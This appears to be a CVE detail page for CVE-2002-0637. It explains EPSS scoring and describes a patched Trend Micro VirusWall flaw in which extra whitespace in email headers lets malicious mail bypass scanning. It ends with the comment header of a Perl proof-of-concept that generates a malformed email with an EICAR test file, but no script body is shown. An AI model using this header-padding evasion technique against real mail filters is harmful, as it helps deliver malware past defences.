CVE-2002-0637 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/5259/info A vulnerability has been reported in certain VirusWall versions. Reportedly, it is possible to bypass the scanning mechanism of VirusWall by adding extraneous spaces in certain email HTTP header fields. A malicious email server may add extraneous whitespace in certain email headers. This would cause VirusWall to ignore the malicious email and not scan it. However, many popular email client programs, including Outlook, will ignore this header and display the content regardless. This may allow malicious content to bypass VirusWall and still be interpreted by a client system. #!/usr/bin/perl # The following code generates a malformed email with an EICAR attachment(False Virus). # The vulnerability has been found to be present in TrendMicro's VirusWall, and has been now patched. # Refer to http://solutionbank.antivirus.com/solutions/solutionsearch.asp solution ID 11948 # # BeyondSecurity's SecurITeam, Copyrighted Material, for Testing Purposes only.
